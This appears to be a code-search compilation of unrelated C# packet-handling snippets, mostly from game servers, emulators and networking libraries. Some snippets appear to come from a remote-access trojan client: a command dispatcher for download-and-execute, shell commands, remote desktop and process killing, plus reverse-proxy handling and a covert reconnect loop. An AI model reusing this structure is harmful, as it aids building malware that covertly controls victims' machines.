Example #1
1
        public static void EncryptionKeyRequest(MinecraftClient client, IPacket _packet)
        {
            var packet = (EncryptionKeyRequestPacket)_packet;
            var random = RandomNumberGenerator.Create();
            client.SharedSecret = new byte[16];
            random.GetBytes(client.SharedSecret); // Generate a secure AES key

            if (packet.ServerId != "-") // Online mode
            {
                // Authenticate with minecraft.net
                var data = Encoding.ASCII.GetBytes(packet.ServerId)
                    .Concat(client.SharedSecret)
                    .Concat(packet.PublicKey).ToArray();
                var hash = Cryptography.JavaHexDigest(data);
                var webClient = new WebClient();
                string result = webClient.DownloadString("http://session.minecraft.net/game/joinserver.jsp?user="******"&sessionId=" + Uri.EscapeUriString(client.Session.SessionId) +
                    "&serverId=" + Uri.EscapeUriString(hash));
                if (result != "OK")
                    LogProvider.Log("Unable to verify session: " + result);
            }

            var parser = new AsnKeyParser(packet.PublicKey);
            var key = parser.ParseRSAPublicKey();

            // Encrypt shared secret and verification token
            var crypto = new RSACryptoServiceProvider();
            crypto.ImportParameters(key);
            var encryptedSharedSecret = crypto.Encrypt(client.SharedSecret, false);
            var encryptedVerification = crypto.Encrypt(packet.VerificationToken, false);
            var response = new EncryptionKeyResponsePacket(encryptedSharedSecret, encryptedVerification);
            client.SendPacket(response);
        }
Example #2
0
        public void Dispatch(ISession session, IPacket packet)
        {
            BinaryReader reader = packet.CreateReader();
            var type = (MessageType) reader.ReadUInt32();
            uint language = reader.ReadUInt32();
            string channel = type == MessageType.Channel || type == MessageType.Whisper
                                 ? reader.ReadCString()
                                 : string.Empty;
            string message = reader.ReadCString();

            var pkt = WorldPacketFactory.Create(WMSG.SMSG_MESSAGECHAT);
            var writer = pkt.CreateWriter();
            writer.Write((byte)type);
            writer.Write((uint)0);
            writer.Write(session.Player.Guid);
            writer.Write(0);
            /*
            if (target != null)
                writer.WritePascalString(target);
            */
            writer.Write((ulong)0);
            writer.WritePascalString(message);
            writer.Write((byte)0);

            var players = ObjectManager.GetPlayersNear(session.Player);
            foreach (var player in players)
            {
                player.Session.Send(pkt);
            }

            Console.WriteLine("{0} {1} {2} {3}", type, language, channel, message);
        }
Example #3
0
 public void Dispatch(ISession session, IPacket packet)
 {
     var reader = packet.CreateReader();
     var guid = reader.ReadUInt64();
     var questId = reader.ReadUInt32();
     var a = reader.ReadByte();
 }
Example #4
0
        public static void ChatMessage(MinecraftClient client, IPacket _packet)
        {
            var packet = (ChatMessagePacket)_packet;
            LogProvider.Log(packet.Message, LogImportance.High);

            client.OnChatMessage(new ChatMessageEventArgs(packet.Message, RemoveChatCodes(packet.Message)));
        }
Example #5
0
        public static void HandleLoginRequestPacket(IPacket packet, IRemoteClient client, IMultiplayerServer server)
        {
            var loginRequestPacket = (LoginRequestPacket)packet;
            var remoteClient = (RemoteClient)client;
            if (loginRequestPacket.ProtocolVersion < server.PacketReader.ProtocolVersion)
                remoteClient.QueuePacket(new DisconnectPacket("Client outdated! Use beta 1.7.3."));
            else if (loginRequestPacket.ProtocolVersion > server.PacketReader.ProtocolVersion)
                remoteClient.QueuePacket(new DisconnectPacket("Server outdated! Use beta 1.7.3."));
            else if (server.Worlds.Count == 0)
                remoteClient.QueuePacket(new DisconnectPacket("Server has no worlds configured."));
            else if (!server.PlayerIsWhitelisted(remoteClient.Username) && server.PlayerIsBlacklisted(remoteClient.Username))
                remoteClient.QueuePacket(new DisconnectPacket("You're banned from this server"));
            else if (server.Clients.Count(c => c.Username == client.Username) > 1)
                remoteClient.QueuePacket(new DisconnectPacket("The player with this username is already logged in"));
            else
            {
                remoteClient.LoggedIn = true;
                remoteClient.Entity = new PlayerEntity(remoteClient.Username);
                remoteClient.World = server.Worlds[0];
                remoteClient.ChunkRadius = 2;

                if (!remoteClient.Load())
                    remoteClient.Entity.Position = remoteClient.World.SpawnPoint;
                // Make sure they don't spawn in the ground
                var collision = new Func<bool>(() =>
                {
                    var feet = client.World.GetBlockID((Coordinates3D)client.Entity.Position);
                    var head = client.World.GetBlockID((Coordinates3D)(client.Entity.Position + Vector3.Up));
                    var feetBox = server.BlockRepository.GetBlockProvider(feet).BoundingBox;
                    var headBox = server.BlockRepository.GetBlockProvider(head).BoundingBox;
                    return feetBox != null || headBox != null;
                });
                while (collision())
                    client.Entity.Position += Vector3.Up;

                // Send setup packets
                remoteClient.QueuePacket(new LoginResponsePacket(0, 0, Dimension.Overworld));
                remoteClient.UpdateChunks();
                remoteClient.QueuePacket(new WindowItemsPacket(0, remoteClient.Inventory.GetSlots()));
                remoteClient.QueuePacket(new SpawnPositionPacket((int)remoteClient.Entity.Position.X,
                        (int)remoteClient.Entity.Position.Y, (int)remoteClient.Entity.Position.Z));
                remoteClient.QueuePacket(new SetPlayerPositionPacket(remoteClient.Entity.Position.X,
                        remoteClient.Entity.Position.Y + 1,
                        remoteClient.Entity.Position.Y + remoteClient.Entity.Size.Height + 1,
                        remoteClient.Entity.Position.Z, remoteClient.Entity.Yaw, remoteClient.Entity.Pitch, true));
                remoteClient.QueuePacket(new TimeUpdatePacket(remoteClient.World.Time));

                // Start housekeeping for this client
                var entityManager = server.GetEntityManagerForWorld(remoteClient.World);
                entityManager.SpawnEntity(remoteClient.Entity);
                entityManager.SendEntitiesToClient(remoteClient);
                server.Scheduler.ScheduleEvent("remote.keepalive", remoteClient, TimeSpan.FromSeconds(10), remoteClient.SendKeepAlive);
                server.Scheduler.ScheduleEvent("remote.chunks", remoteClient, TimeSpan.FromSeconds(1), remoteClient.ExpandChunkRadius);

                if (!string.IsNullOrEmpty(Program.ServerConfiguration.MOTD))
                    remoteClient.SendMessage(Program.ServerConfiguration.MOTD);
                if (!Program.ServerConfiguration.Singleplayer)
                    server.SendMessage(ChatColor.Yellow + "{0} joined the server.", remoteClient.Username);
            }
        }
        public static void HandleCommand(Client client, IPacket packet)
        {
            var type = packet.GetType();

            if (type == typeof (ReverseProxyConnect))
            {
                client.ConnectReverseProxy((ReverseProxyConnect) packet);
            }
            else if (type == typeof (ReverseProxyData))
            {
                ReverseProxyData dataCommand = (ReverseProxyData)packet;
                ReverseProxyClient proxyClient = client.GetReverseProxyByConnectionId(dataCommand.ConnectionId);

                if (proxyClient != null)
                {
                    proxyClient.SendToTargetServer(dataCommand.Data);
                }
            }
            else if (type == typeof (ReverseProxyDisconnect))
            {
                ReverseProxyDisconnect disconnectCommand = (ReverseProxyDisconnect)packet;
                ReverseProxyClient socksClient = client.GetReverseProxyByConnectionId(disconnectCommand.ConnectionId);

                if (socksClient != null)
                {
                    socksClient.Disconnect();
                }
            }
        }
 public static void EntityAction(MinecraftClient client, MinecraftServer server, IPacket _packet)
 {
     var packet = (EntityActionPacket)_packet;
     switch (packet.Action)
     {
         case EntityActionPacket.EntityAction.Crouch:
             client.Entity.IsCrouching = true;
             break;
         case EntityActionPacket.EntityAction.Uncrouch:
             client.Entity.IsCrouching = false;
             break;
         case EntityActionPacket.EntityAction.StartSprinting:
             client.Entity.IsSprinting = true;
             break;
         case EntityActionPacket.EntityAction.StopSprinting:
             client.Entity.IsSprinting = false;
             break;
         case EntityActionPacket.EntityAction.LeaveBed:
             client.Entity.LeaveBed();
             break;
     }
     if (packet.Action != EntityActionPacket.EntityAction.LeaveBed) // NOTE: Does this matter?
     {
         // TODO ?
     }
 }
 public static void Animation(MinecraftClient client, MinecraftServer server, IPacket _packet)
 {
     var packet = (AnimationPacket)_packet;
     var clients = server.EntityManager.GetKnownClients(client.Entity);
     foreach (var _client in clients)
         _client.SendPacket(packet);
 }
Example #9
0
 public static void HandleHandshakePacket(IPacket packet, IRemoteClient client, IMultiplayerServer server)
 {
     var handshakePacket = (HandshakePacket) packet;
     var remoteClient = (RemoteClient)client;
     remoteClient.Username = handshakePacket.Username;
     remoteClient.QueuePacket(new HandshakeResponsePacket("-")); // TODO: Implement some form of authentication
 }
Example #10
0
 public static void EncryptionKeyResponse(MinecraftClient client, IPacket _packet)
 {
     // Enable encryption
     client.Stream = new MinecraftStream(new AesStream(new BufferedStream(client.NetworkStream), client.SharedSecret));
     client.SendPacket(new ClientStatusPacket(ClientStatusPacket.ClientStatus.InitialSpawn));
     LogProvider.Log("Logged in.");
 }
Example #11
0
 public void Dispatch(ISession client, IPacket packet)
 {
     client.Player.StandState = StandStates.Sitting;
     client.SendLogoutResponce();
     client.LogOut();
     client.SendLogoutComplete();
 }
 public static void HandleLoginRequestPacket(CoCRemoteClient client, CoCServer server, IPacket packet)
 {
     client.Seed = ((LoginRequestPacket)packet).Seed;
     client.QueuePacket(new UpdateKeyPacket()
     {
         Key = new byte[] { 23, 32, 45, 13, 54, 43 }
     });
     client.QueuePacket(new LoginSuccessPacket()
     {
         UserID = 12312332,
         UserToken = "SOMETOKEN",
         ServerEnvironment = "prod",
         DateJoined = "123123",
         DateLastPlayed = "123123",
         FacebookAppID = "asdasd",
         FacebookID = "asdasd",
         GameCenterID = "asdasd",
         GooglePlusID = "asdasdsdad",
         LoginCount = 69,
         MajorVersion = 7,
         MinorVersion = 156,
         PlayTime = new TimeSpan(0, 0, 0),
         RevisionVersion = 0,
         CountryCode = "MU"
     });
 }
Example #13
0
 public static void Handshake(MinecraftClient client, MinecraftServer server, IPacket _packet)
 {
     var packet = (HandshakePacket)_packet;
     if (packet.ProtocolVersion < PacketReader.ProtocolVersion)
     {
         client.SendPacket(new DisconnectPacket("Outdated client!"));
         return;
     }
     if (packet.ProtocolVersion > PacketReader.ProtocolVersion)
     {
         client.SendPacket(new DisconnectPacket("Outdated server!"));
         return;
     }
     if (server.Clients.Any(c => c.Username == packet.Username))
     {
         client.SendPacket(new DisconnectPacket(""));
         return;
     }
     client.Username = packet.Username;
     client.Hostname = packet.ServerHostname + ":" + packet.ServerPort;
     if (server.Settings.OnlineMode)
         client.AuthenticationHash = CreateHash();
     else
         client.AuthenticationHash = "-";
     if (server.Settings.EnableEncryption)
         client.SendPacket(CreateEncryptionRequest(client, server));
     else
         server.LogInPlayer(client);
 }
Example #14
0
        public static byte[] CreateData(IPacket packet)
        {
            if (packet == null)
                throw new ArgumentNullException("packet");

            var content = packet.GetContent();
            var idLengthContent = new byte[content.Length + PacketIdFieldWidth + ContentLengthFieldWidth];

            idLengthContent[0] = (byte)packet.Id;

            var contentLength = BitConverter.GetBytes(content.Length);
            idLengthContent[1] = contentLength[0]; // Not in the mood for a for loop
            idLengthContent[2] = contentLength[1];
            idLengthContent[3] = contentLength[2];
            idLengthContent[4] = contentLength[3];

            for (int i = (PacketIdFieldWidth + ContentLengthFieldWidth); i < idLengthContent.Length; ++i)
                idLengthContent[i] = content[i - (PacketIdFieldWidth + ContentLengthFieldWidth)];

            byte[] checksum;
            using (var provider = new Crc32())
                checksum = provider.ComputeHash(idLengthContent, 0, idLengthContent.Length);

            using (var ms = new MemoryStream())
            {
                ms.Write(checksum, 0, ChecksumWidth);
                ms.Write(idLengthContent, 0, idLengthContent.Length);
                return ms.ToArray();
            }
        }
        public static void HandleUpdateKeyPacket(CoCProxy proxyServer, CoCProxyClient client, IPacket packet)
        {
            var ukPacket = packet as UpdateKeyPacket;

            client.Client.NetworkManager.UpdateCiphers((ulong)client.Client.Seed, ukPacket.Key);
            client.Server.NetworkManager.UpdateCiphers((ulong)client.Client.Seed, ukPacket.Key);
        }
 public PacketId GetPacketId(IPacket pck)
 {
     PacketId id;
     if (!TypeToId.TryGetValue(pck.GetType(), out id))
         throw new InvalidOperationException("Packet type is missing packet id: " + pck.GetType().FullName);
     return id;
 }
Example #17
0
        public void Dispatch(ISession session, IPacket packet)
        {
            BinaryReader reader = packet.CreateReader();
            int guildId = reader.ReadInt32();
            var guild = new Guild
                            {
                                Id = guildId,
                                Name = "guild"
                            };

            IPacketBuilder responce = WorldPacketFactory.Build(
                WMSG.SMSG_GUILD_QUERY_RESPONSE,
                writer =>
                    {
                        writer.Write(guild.Id);
                        writer.WriteCString(guild.Name);
                        foreach (GuildRank rank in guild.Ranks)
                            writer.WriteCString(rank.Name);
                        for (int i = 0; i < 10 - guild.Ranks.Count; i++)
                            writer.WriteCString(string.Empty);
                        writer.Write(guild.Tabard.EmblemStyle);
                        writer.Write(guild.Tabard.EmblemColor);
                        writer.Write(guild.Tabard.BorderStyle);
                        writer.Write(guild.Tabard.BorderColor);
                        writer.Write(guild.Tabard.BackgroundColor);
                        writer.Write(0); // NEW 3.0.2
                    });
            session.Send(responce);
        }
 public static void PlayerLook(RemoteClient client, MinecraftServer server, IPacket _packet)
 {
     var packet = (PlayerLookPacket)_packet;
     client.Entity.Pitch = packet.Pitch;
     client.Entity.Yaw = packet.Yaw;
     client.Entity.HeadYaw = packet.Yaw;
 }
        public override void SendPacket(IPacket packet, IInterfaceView from)
        {
            if (packet == null)
                throw new ArgumentNullException ();

            if (from == null)
                throw new ArgumentNullException ();

            if (!this.endpoints.Contains (from))
                throw new ArgumentException ();

            var endpoint_index = packet.Data [0];
            if (endpoint_index >= this.EndPointsCount)
                return;

            this.State = StateMock.BUSY;

            this.clock.RegisterActionAtTime (MathHelper.CalculateTime (packet.Data.Length, this.Speed),
                                             () => {
                                                 this.State = StateMock.FREE;
                                                 this.OnTransmit (this, packet);
                                                 this.endpoints [endpoint_index].ReceivePacket (
                                                     packet);
                                             });
        }
Example #20
0
 public static void KeepAlive(MinecraftClient client, MinecraftServer server, IPacket _packet)
 {
     var packet = (KeepAlivePacket)_packet;
     // TODO: Confirm value validity
     client.LastKeepAlive = DateTime.Now;
     client.Ping = (short)(client.LastKeepAlive - client.LastKeepAliveSent).TotalMilliseconds;
 }
Example #21
0
 public void Process(IPacket packet)
 {
     switch((RMSG)packet.Code) {
     case RMSG.AUTH_LOGON_CHALLENGE:
     case RMSG.AUTH_LOGON_RECODE_CHALLENGE:
         HandleLogonChallenge(packet);
         break;
     case RMSG.AUTH_LOGON_PROOF:
     case RMSG.AUTH_LOGON_RECODE_PROOF:
         HandleLogonProof(packet);
         break;
     case RMSG.REALM_LIST:
         HandleRealmList();
         break;
     case RMSG.XFER_ACCEPT:
         HandleXferAccept();
         break;
     case RMSG.XFER_RESUME:
         HandleXferResume(packet);
         break;
     case RMSG.XFER_CANCEL:
         HandleXferCancel();
         break;
     }
 }
Example #22
0
 private void OnReadPacket(IPacket packet)
 {
     Contract.Requires<ArgumentNullException>(packet != null, "packet cannot be null");
     CommonDelegates.ReadPacketEventDelegate handler = OnReadPacketEvent;
     if (handler != null)
         handler(this.headersWithInterface.Last(), packet);
 }
Example #23
0
        public void WritePacket(IPacket packet)
        {
            try
            {
                uint secs = (uint)packet.Seconds;
                uint usecs = (uint)packet.Microseconds;
                if (header.NanoSecondResolution)
                    usecs = usecs * 1000;
                uint caplen = (uint)packet.Data.Length;
                uint len = (uint)packet.Data.Length;
                byte[] data = packet.Data;

                List<byte> ret = new List<byte>();

                ret.AddRange(BitConverter.GetBytes(secs.ReverseByteOrder(header.ReverseByteOrder)));
                ret.AddRange(BitConverter.GetBytes(usecs.ReverseByteOrder(header.ReverseByteOrder)));
                ret.AddRange(BitConverter.GetBytes(caplen.ReverseByteOrder(header.ReverseByteOrder)));
                ret.AddRange(BitConverter.GetBytes(len.ReverseByteOrder(header.ReverseByteOrder)));
                ret.AddRange(data);
                if (ret.Count > header.MaximumCaptureLength)
                    throw new ArgumentOutOfRangeException(string.Format("[PcapWriter.WritePacket] packet length: {0} is greater than MaximumCaptureLength: {1}", ret.Count, header.MaximumCaptureLength));
                lock (syncRoot)
                {
                    binaryWriter.Write(ret.ToArray());
                }
            }
            catch (Exception exc)
            {
                OnException(exc);
            }
        }         
Example #24
0
        public void Dispatch(ISession session, IPacket packet)
        {
            BinaryReader r = packet.CreateReader();
            uint unk1 = r.ReadUInt32();

            session.SendRealmSplitPkt(unk1);
        }
Example #25
0
        public static void ClientStatus(MinecraftClient client, MinecraftServer server, IPacket _packet)
        {
            var packet = (ClientStatusPacket)_packet;
            if (packet.Status == ClientStatusPacket.ClientStatus.InitialSpawn)
            {
                // Create a hash for session verification
                SHA1 sha1 = SHA1.Create();
                AsnKeyBuilder.AsnMessage encodedKey = AsnKeyBuilder.PublicKeyToX509(server.ServerKey);
                byte[] shaData = Encoding.UTF8.GetBytes(client.AuthenticationHash)
                    .Concat(client.SharedKey)
                    .Concat(encodedKey.GetBytes()).ToArray();
                string hash = Cryptography.JavaHexDigest(shaData);

                // Talk to session.minecraft.net
                if (server.Settings.OnlineMode)
                {
                    var webClient = new WebClient();
                    var webReader = new StreamReader(webClient.OpenRead(
                        new Uri(string.Format(sessionCheckUri, client.Username, hash))));
                    string response = webReader.ReadToEnd();
                    webReader.Close();
                    if (response != "YES")
                    {
                        client.SendPacket(new DisconnectPacket("Failed to verify username!"));
                        return;
                    }
                }

                server.LogInPlayer(client);
            }
            else if (packet.Status == ClientStatusPacket.ClientStatus.Respawn)
            {
                // TODO
            }
        }
        public IAckPacket SendMessage(IPacket packet)
        {
            var packetBytes = packet.GetBytes();
            var responseBytes = _crazyradioDriver.SendData(packetBytes);

            return new AckPacket(responseBytes);
        }
Example #27
0
 public static void BlockChange(MinecraftClient client, IPacket _packet)
 {
   var packet = (BlockChangePacket)_packet;
   var position = new Coordinates3D(packet.X, packet.Y, packet.Z);
   client.World.SetBlockId(position, (short)packet.BlockType);
   client.World.SetMetadata(position, packet.BlockMetadata);
 }
Example #28
0
        public void Dispatch(ISession session, IPacket packet)
        {
            BinaryReader reader = packet.CreateReader();
            byte castCount = reader.ReadByte();
            uint spellId = reader.ReadUInt32();
            byte unklags = reader.ReadByte();

            IPacket pkt = WorldPacketFactory.Create(WMSG.SMSG_SPELL_START);
            BinaryWriter writer = pkt.CreateWriter();
            writer.WritePackGuid(session.Player.Guid);
            writer.WritePackGuid(session.Player.Guid);
            writer.Write(castCount);
            writer.Write(spellId);
            writer.Write(0); //cast flags
            writer.Write(0); //ticks count
            writer.Write(0); //targetflags
            session.Send(pkt);

            Thread.Sleep(5000);
            pkt = WorldPacketFactory.Create(WMSG.SMSG_SPELL_GO);
            writer = pkt.CreateWriter();
            writer.WritePackGuid(session.Player.Guid);
            writer.WritePackGuid(session.Player.Guid);
            writer.Write(castCount);
            writer.Write(spellId);
            writer.Write(0); //cast flags
            writer.Write(0); //ticks count
            writer.Write((byte)1); //hit count
            writer.Write(session.Player.Guid);
            writer.Write((byte)0); //miss count
            writer.Write(0); // targetflags
            session.Send(pkt);
        }
Example #29
0
        public async Task SendPacket(IPacket packet, Stream netStream)
        {
            var ms = new MemoryStream();
            var bw = new BinaryWriter(ms);

            if (packet is IAutoSerializePacket)
                (packet as IAutoSerializePacket).AutoSerialize(bw);
            else
            {
                bw.Write(packet.ID);
                packet.SerializePacket(bw);
            }

            bw.Flush();

            // Copy ms -> redirect writer to new ms -> prepend packet size prefix -> append packet paylod
            FinalizePacket(ref bw);
            ms.Dispose(); // Dispose of expired ms, writer's basestream is created in FinalizePacket
            ms = bw.BaseStream as MemoryStream;
            // this here failed? ye wait a moment
            await netStream.WriteAsync(ms.ToArray(), 0, (int)ms.Length);

            if (OnPacketSent != null)
                OnPacketSent(null, new PacketEventArgs(null, packet, (int)ms.Length));

            ms.Dispose();
            bw.Dispose();

        }
 public static void HandleOwnHomeDataPacket(CoCProxy proxyServer, CoCProxyClient client, IPacket packet)
 {
     var ohPacket = packet as OwnHomeDataPacket;
     client.Client.Username = ohPacket.Avatar.Username;
     client.Client.UserID = ohPacket.UserID;
     client.Client.Home = ohPacket.Home;
 }
Example #31
0
 public void SendPacket(IPacket data) =>
 SendPacket(data.GetPacket().ToArray());
Example #32
0
 /// <summary>
 /// Reads the next 32 bits from the packet as a <see cref="uint"/> and advances the position counter.
 /// </summary>
 /// <param name="packet"></param>
 /// <returns>The value of the next 32 bits.</returns>
 public static uint ReadUInt32(this IPacket packet)
 {
     return((uint)packet.ReadBits(32));
 }
Example #33
0
 /// <summary>
 /// Reads the next 16 bits from the packet as a <see cref="short"/> and advances the position counter.
 /// </summary>
 /// <param name="packet"></param>
 /// <returns>The value of the next 16 bits.</returns>
 public static short ReadInt16(this IPacket packet)
 {
     return((short)packet.ReadBits(16));
 }
Example #34
0
 /// <summary>
 /// Reads the next byte from the packet and advances the position counter.
 /// </summary>
 /// <param name="packet"></param>
 /// <returns>The byte read from the packet.</returns>
 public static byte ReadByte(this IPacket packet)
 {
     return((byte)packet.ReadBits(8));
 }
Example #35
0
 /// <summary>
 /// Reads the next byte from the packet. Does not advance the position counter.
 /// </summary>
 /// <param name="packet"></param>
 /// <returns>The byte read from the packet.</returns>
 public static byte PeekByte(this IPacket packet)
 {
     return((byte)packet.TryPeekBits(8, out _));
 }
Example #36
0
 /// <summary>
 /// Reads one bit from the packet and advances the read position.
 /// </summary>
 /// <returns><see langword="true"/> if the bit was a one, otehrwise <see langword="false"/>.</returns>
 public static bool ReadBit(this IPacket packet)
 {
     return(packet.ReadBits(1) == 1);
 }
Example #37
0
 /// <summary>
 /// Advances the position counter by the specified number of bytes.
 /// </summary>
 /// <param name="packet"></param>
 /// <param name="count">The number of bytes to advance.</param>
 public static void SkipBytes(this IPacket packet, int count)
 {
     packet.SkipBits(count * 8);
 }
Example #38
0
 /// <summary>
 /// Reads the next 64 bits from the packet as a <see cref="ulong"/> and advances the position counter.
 /// </summary>
 /// <param name="packet"></param>
 /// <returns>The value of the next 64 bits.</returns>
 public static ulong ReadUInt64(this IPacket packet)
 {
     return(packet.ReadBits(64));
 }
Example #39
0
 internal PacketReceivedEventArgs(Client client, IPacket receivedPacket) : base(client, receivedPacket)
 {
 }
Example #40
0
 /// <summary>
 /// Reads the next 64 bits from the packet as a <see cref="long"/> and advances the position counter.
 /// </summary>
 /// <param name="packet"></param>
 /// <returns>The value of the next 64 bits.</returns>
 public static long ReadInt64(this IPacket packet)
 {
     return((long)packet.ReadBits(64));
 }
 public LatencyPingResponseModifier(ClientConnection connection, IPacket packetOriginal, Release releaseFrom, Release releaseTarget) : base(connection, packetOriginal, releaseFrom, releaseTarget)
 {
 }
Example #42
0
        /// <summary>
        /// Read incoming headers
        /// </summary>
        public static void ReceiveHeader()
        {
            while (true)
            {
                while (IsConnected)
                {
                    try
                    {
                        byte[] header = ReceiveData(4);
                        if (header.Length != 4)
                        {
                            IsConnected = false;
                            break;
                        }
                        else
                        {
                            int packetSize = BitConverter.ToInt32(header, 0);
                            if (packetSize > 0)
                            {
                                Debug.WriteLine($"Client: packet size is {packetSize}");
                                byte[] payload = ReceiveData(packetSize);
                                if (payload.Length != packetSize)
                                {
                                    IsConnected = false;
                                    break;
                                }
                                else
                                {
                                    IPacket packet = Desirialize.PacketDesirialize(payload);
                                    Debug.WriteLine($"Client: packet received is {packet.GetType().Name}");
                                    new Thread(delegate()
                                    {
                                        new ReadPacket(packet);
                                    }).Start();
                                }
                            }
                        }
                    }
                    catch (SocketException se)
                    {
                        Debug.WriteLine(se.SocketErrorCode);
                        IsConnected = false;
                        break;
                    }
                    catch (Exception ex)
                    {
                        Debug.WriteLine(ex.Message);
                        IsConnected = false;
                        break;
                    }
                }

                while (!IsConnected)
                {
                    try
                    {
                        Thread.Sleep(2000);

                        Socket?.Dispose();
                        KeepAlivePacket?.Dispose();

                        Socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
                        {
                            ReceiveBufferSize = 50 * 1000,
                            SendBufferSize    = 50 * 1000,
                        };
                        Socket.Connect(Configuration.Host, Configuration.Port);
                        IsConnected = true;

                        Send(new PacketIdentification()
                        {
                            Type            = ClientType.PC,
                            Username        = Environment.UserName,
                            OperatingSystem = new ComputerInfo().OSFullName,
                            ID = Configuration.Id,
                        });
                        KeepAlivePacket = new Timer(Ping, null, new Random().Next(5000, 30000), new Random().Next(5000, 30000)); //random interval
                    }
                    catch (SocketException se)
                    {
                        Debug.WriteLine(se.SocketErrorCode);
                    }
                    catch (Exception ex)
                    {
                        Debug.WriteLine(ex.Message);
                    }
                }
            }
        }
Example #43
0
 public async Task SendAsync(IPacket message)
 {
     await MessageHandler.SendAsync(message);
 }
Example #44
0
 private void ReceiveHandler(InternalSecureSocketConnectedClient client, IPacket data)
 {
     _callbacks.Handle(client, data);
 }
Example #45
0
 void INetResponder.SendResponse(IPacket packet)
 {
     Client.SendPacket(packet, PacketDeliveryMethod.ReliableOrdered);
 }
Example #46
0
    static void ClientRead(Core.Client client, IPacket packet)
    {
        Type type = packet.GetType();

        if (type == typeof(Core.Packets.ServerPackets.InitializeCommand))
        {
            CommandHandler.HandleInitializeCommand((Core.Packets.ServerPackets.InitializeCommand)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.DownloadAndExecute))
        {
            CommandHandler.HandleDownloadAndExecuteCommand((Core.Packets.ServerPackets.DownloadAndExecute)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.Disconnect))
        {
            SystemCore.Disconnect = true;
            client.Disconnect();
        }
        else if (type == typeof(Core.Packets.ServerPackets.Reconnect))
        {
            client.Disconnect();
        }
        else if (type == typeof(Core.Packets.ServerPackets.Uninstall))
        {
            CommandHandler.HandleUninstall((Core.Packets.ServerPackets.Uninstall)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.Desktop))
        {
            CommandHandler.HandleRemoteDesktop((Core.Packets.ServerPackets.Desktop)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.GetProcesses))
        {
            CommandHandler.HandleGetProcesses((Core.Packets.ServerPackets.GetProcesses)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.KillProcess))
        {
            CommandHandler.HandleKillProcess((Core.Packets.ServerPackets.KillProcess)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.StartProcess))
        {
            CommandHandler.HandleStartProcess((Core.Packets.ServerPackets.StartProcess)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.Drives))
        {
            CommandHandler.HandleDrives((Core.Packets.ServerPackets.Drives)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.Directory))
        {
            CommandHandler.HandleDirectory((Core.Packets.ServerPackets.Directory)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.DownloadFile))
        {
            CommandHandler.HandleDownloadFile((Core.Packets.ServerPackets.DownloadFile)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.MouseClick))
        {
            CommandHandler.HandleMouseClick((Core.Packets.ServerPackets.MouseClick)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.GetSystemInfo))
        {
            CommandHandler.HandleGetSystemInfo((Core.Packets.ServerPackets.GetSystemInfo)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.VisitWebsite))
        {
            CommandHandler.HandleVisitWebsite((Core.Packets.ServerPackets.VisitWebsite)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.ShowMessageBox))
        {
            CommandHandler.HandleShowMessageBox((Core.Packets.ServerPackets.ShowMessageBox)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.Update))
        {
            CommandHandler.HandleUpdate((Core.Packets.ServerPackets.Update)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.Monitors))
        {
            CommandHandler.HandleMonitors((Core.Packets.ServerPackets.Monitors)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.ShellCommand))
        {
            CommandHandler.HandleShellCommand((Core.Packets.ServerPackets.ShellCommand)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.Rename))
        {
            CommandHandler.HandleRename((Core.Packets.ServerPackets.Rename)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.Delete))
        {
            CommandHandler.HandleDelete((Core.Packets.ServerPackets.Delete)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.Action))
        {
            CommandHandler.HandleAction((Core.Packets.ServerPackets.Action)packet, client);
        }
    }
Example #47
0
 public void RegisterPacketHandler(IPacket packet, PacketHandler handler)
 {
     PacketHandlers.Add(packet.ID, handler);
 }
 /// <summary>
 /// Serializes a packet
 /// </summary>
 /// <param name="packet"></param>
 /// <returns></returns>
 public static byte[] Serialize(IPacket packet) =>
 throw new NotImplementedException();
 public NewConsoleMessageModifier(ClientConnection connection, IPacket packetOriginal, Release releaseFrom, Release releaseTarget) : base(connection, packetOriginal, releaseFrom, releaseTarget)
 {
 }
Example #50
0
 public FurnitureAliasesModifier(ClientConnection connection, IPacket packetOriginal, Release releaseFrom, Release releaseTarget) : base(connection, packetOriginal, releaseFrom, releaseTarget)
 {
 }
Example #51
0
        public void Dispatch(ISession session, IPacket packet)
        {
            ulong guid = packet.CreateReader().ReadUInt64();

            session.Player.BankBags.BuySlot();
        }
Example #52
0
 public static void RegisterPacket(IPacket packet)
 {
     _packets.Add(packet.Id, packet);
 }
Example #53
0
        //public int GetValue { get; set; }

        public void AppendToPacket(IPacket packet)
        {
        }
 public ExtendedProfileModifier(ClientConnection connection, IPacket packetOriginal, Release releaseFrom, Release releaseTarget) : base(connection, packetOriginal, releaseFrom, releaseTarget)
 {
 }
Example #55
0
        public void HandlePacket(IPacket pkt)
        {
            if (!(pkt is ObjectUpdatePacket))
            {
                FLLog.Debug("Client", "Got packet of type " + pkt.GetType());
            }
            switch (pkt)
            {
            case CallThornPacket ct:
                RunSync(() => {
                    var thn = new ThnScript(Game.GameData.ResolveDataPath(ct.Thorn));
                    gp.Thn  = new Cutscene(new ThnScript[] { thn }, gp);
                });
                break;

            case UpdateRTCPacket rtc:
                AddRTC(rtc.RTCs);
                break;

            case MsnDialogPacket msndlg:
                RunSync(() => {
                    RunDialog(msndlg.Lines);
                });
                break;

            case PlaySoundPacket psnd:
                PlaySound(psnd.Sound);
                break;

            case PlayMusicPacket mus:
                PlayMusic(mus.Music);
                break;

            case SpawnPlayerPacket p:
                PlayerBase        = null;
                PlayerSystem      = p.System;
                PlayerPosition    = p.Position;
